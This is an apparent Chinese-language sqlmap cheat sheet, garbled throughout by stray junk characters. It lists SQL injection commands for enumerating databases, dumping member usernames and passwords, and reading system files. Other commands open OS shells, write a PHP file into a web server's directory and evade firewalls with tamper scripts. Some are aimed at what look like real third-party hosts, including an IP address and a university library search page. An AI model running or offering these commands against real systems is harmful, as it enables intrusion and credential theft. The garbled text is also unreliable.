/pentest/database/sqlmap; {/ H& v7 W0 G7 a# d8 ^
+ p+ ~2 H+ [5 `update :::::> in the folder after execute following order : svn update
8 f0 o! Y7 @+ l. y( b. j. N$ N$ ^- l. E
sqlmap.py -r 1.txt --current-db% k. z; m7 V/ s
# ^+ S) y2 s* @; V! m* h/ R6 Hv 3 –dbms “MySQL” –technique U -p id –batch –tamper “space2morehash.py”
. t3 u( ` d3 E* N) z
: G+ r$ _8 z# N/ ]1 o==================基本使用方法==========================elect (select concat(0x7e,0x27,username,0x3a,password,0x27,0x7e) from phpcms_member limit 0,1))
) J: ^& h$ y1 t4 E. |. n$ x& V猜解数据库
0 g1 Z4 X1 u& j! z# `./sqlmap.py -u "injection-url" --dbs. I r8 y/ e' F
sqlmap.py -r 1.txt -v 3 --dbs --tamper "space2morehash.py"' t# b9 e0 ?6 C9 |1 Q3 q
$ d8 j& s0 |' _4 @: r8 }, H0 U猜解表名
; D+ v, U9 Q* {: J- p2 c./sqlmap.py -u "injection-url" -D database_name --tables
$ @: [$ Z4 \7 T' d: c2 K7 w4 J4 \' Q
sqlmap.py -r 1.txt -v 1 -D jsst --tables --batch --tamper "space2morehash.py"
- n4 k+ G: _8 k: D/ dsqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_member_info --columns --batch --tamper "space2morehash.py"
8 p2 u3 q% h) k3 M, h
" A3 D/ t* G. j% n* L5 gsqlmap.py -r 1.txt -D mail -T F_domain -C F_email,F_password --dump
, Z# P/ U c/ R M. r
9 D2 D( e! E9 `: Hsqlmap.py -r 1.txt -v 1 --os-shell --tamper "chardoubleencode.py"8 i9 e) G" }6 d6 V. g6 _) x: C4 Q! G) l
sqlmap.py -r 1.txt -v 3 --os-shell --tamper "chardoubleencode.py"6 f; m6 n: i! p6 R4 k, U2 o$ x8 Z
sqlmap.py -r 1.txt -v 3 --file-write c:\help.php --file-dest D:\Bitnami\wampstack-5.4.29-0\apache2\htdocs\en\fckeditor\help888.php --tamper "chardoubleencode.py" $ V, `" }4 R- Y/ K
sqlmap.py -r 1.txt --dbms "Mysql" --os-shell --tamper "charunicodeencode.py"# w% v* }. F4 p/ e4 k
/ j- O! [8 a! g! i$ l A: m$ [sqlmap.py -u "http://121.15.0.227/en/list.php?catid=74" --os-shell -v3 --tamper "charunicodeencode.py"0 T h8 o/ R; N; B! a
sqlmap.py -r 1.txt -v 3 --sql-query "desc jsgen_member;" --batch --tamper "space2morehash.py"6 v& H& r2 [" H# H5 T0 K
sqlmap.py -r 1.txt -v 3 --sql-query "show create table jsgen_member;" --batch --tamper "space2morehash.py"
( F$ h( Q# M1 J% [( I1 g( T! x* Esqlmap.py -r 1.txt -v 3 --sql-query "select user();" --batch --tamper "space2morehash.py", B! H3 `* t6 Y, g
sqlmap.py -r 1.txt -D jsst -T phpcms_member -C username,password --dump
# [( H7 M+ T. t7 I" B
; i0 a& C% j. asqlmap.py -r 1.txt -v 3 --dbs --batch --tamper "space2morehash.py" 绕过防火墙了- \/ Z! N$ [ F4 @8 L
sqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_member -C ,userid,username,password, --dump --batch --tamper "space2morehash.py"
0 N' T% x# r( b, {
" x, ]. k- q6 Z/ R& ksqlmap.py -r 1.txt --dbms "Mysql" --tables -D "jsst". i: v# d; h- P& ^
猜解列名# |9 [# P; m. b
./sqlmap.py -u "injection-url" -D database_name -T table_name --columns9 K6 `5 F+ H; t
8 m( }7 L/ i' H8 C) s, B
sqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_member --columns --batch --tamper "space2morehash.py" # z, H& b. a6 }2 v) a, L: h
sqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_session --columns --batch --tamper "space2morehash.py" ; X1 a: l& d7 P. h! Y! u% a% @0 `9 }
sqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_member -C userid,groupid,username,password,touserid,point,modelid,email,areaid --dump --batch --tamper "charunicodeencode.py"' t/ e& D3 V2 E `0 B1 t
1 O2 N6 \2 @" O2 U- _
sqlmap.py -u "http://cityusr.lib.cityu.edu.hk/jspui/simple-search?query=1" --batch --tamper "space2morehash.py"5 j: e' U; C/ K6 I. W8 `
&submit=Go
: O: l. B. r0 }' A( q" L猜解值' p* k/ F; A2 W5 _+ H5 {4 t
./sqlmap.py -u "injection-url" -D database_name -T table_name -C column1,column2 --dump! l9 l( I1 D# f4 u' _1 e
========================================================0 @5 K3 V0 I# J
搜索表名中包括mana字符的
/ L4 H M* \' b7 V% P) s1 x; u/sqlmap.py -u "injection-url" -T mana --search
. W, m7 ^9 W; [% D返回一个交互式sql shell; j) u1 L7 F' Q# |9 ?9 v
/sqlmap.py -u "injection-url" --sql-shell7 f3 Z+ k& p9 P. w" L& y i c8 b
读取指定文件(需权限)
$ }- I3 C) V' g$ v/sqlmap.py -u "injection-url" --file-read "c:\boot.ini"
/ n9 A6 S8 m) c$ l查看当前 用户 及 数据库 : m4 b- s; j6 ?7 i
/sqlmap.py -u "injection-url" --current-user --current-db( c' Y( K( P% n
本地文件 写入 远程目标绝对路径0 _, X: n/ [; ?" P
/sqlmap.py -u "injection-url" --file-write 本地路径 --file-dest 远程绝对路径! I. Q2 z9 r7 L- \+ n$ V/ X0 U
sqlmap.py -r 1.txt -v 3 --file-write c:\help.php --file-dest D:/Bitnami/wampstack-5.4.29-0/apache2/htdocs/en/fckeditor\help888.php --tamper "charunicodeencode.py" 1 k4 b R0 W; s* s, e6 W& w
) c6 v# k7 w7 O9 }6 y* Asqlmap.py -u "injection-url" --file-write 本地路径 --file-dest 远程绝对路径4 L5 _: a. u; C& P
查看某用的权限: q* z% b) m; }1 f
/sqlmap.py -u "injection-url" --privileges -U root7 L+ L9 V9 P7 s- [, |3 u
查看当前用户是否为dba; G: C; s- @: ^" ?' Y! O
/sqlmap.py -u "injection-url" --is-dba) e( _! [3 G& b) F% M( U
读取所有数据库用户或指定数据库用户的密码% n& ?9 m a8 w# Y* z
sqlmap.py -r 1.txt --users --passwords( k3 ]5 ]3 m6 z7 t" Q3 Q
sqlmap.py -r 1.txt -v 3 --users --passwords --batch --tamper "space2morehash.py" & V7 `' T3 r, B: `6 z% t" H
+ B8 D5 r/ y) C- v3 U$ H/sqlmap.py -u "injection-url" --passwords -U root; _1 d Q \/ D" K
4 n; X# z- T* ?6 C+ o
--start&&--stop 与 --first&&--last 的区别
( X( U i& n6 {0 c0 ^, j/sqlmap.py -u "http://localhost/comment/index.php?keyid=1&itemid=1" -D phpcms -T phpcms_member --start=1 --stop=2 --dump (--start=1 --stop=2 会列出第二条记录。。。。记录例如:0 1 2 3 ……)
: a( @/ }: |, D/ b& R5 {% ^9 ]5 l" H, _7 L
从字典中查找(属于暴利破解)存在的表(sqlmap/txt/common-tables.txt)或字段(sqlmap/txt/common-columns.txt)$ o Z8 X0 g" B
/sqlmap.py -u "http://localhost/comment/index.php?keyid=1&itemid=1" -D database-name --common-tables
& B/ ?: v/ G3 ]# V) e2 E8 m/sqlmap.py -u "http://localhost/comment/index.php?keyid=1&itemid=1" -D database-name -T table_name --common-columns
* F5 J9 b7 u! ^' _! h( ~" h& E9 |; G. G# M/ l. m) J5 y. _5 U
执行sql语句,如查询@@datadir得到数据库路径(或者user()/database()等等……)
/ M7 X' ^- b: \3 N0 X: L7 Z4 e/sqlmap.py -u "http://localhost/comment/index.php?keyid=1&itemid=1" --sql-query "select @@ip"
. E/ G7 X! C/ a: R# y) L) r/ f7 Z4 `9 J) D
|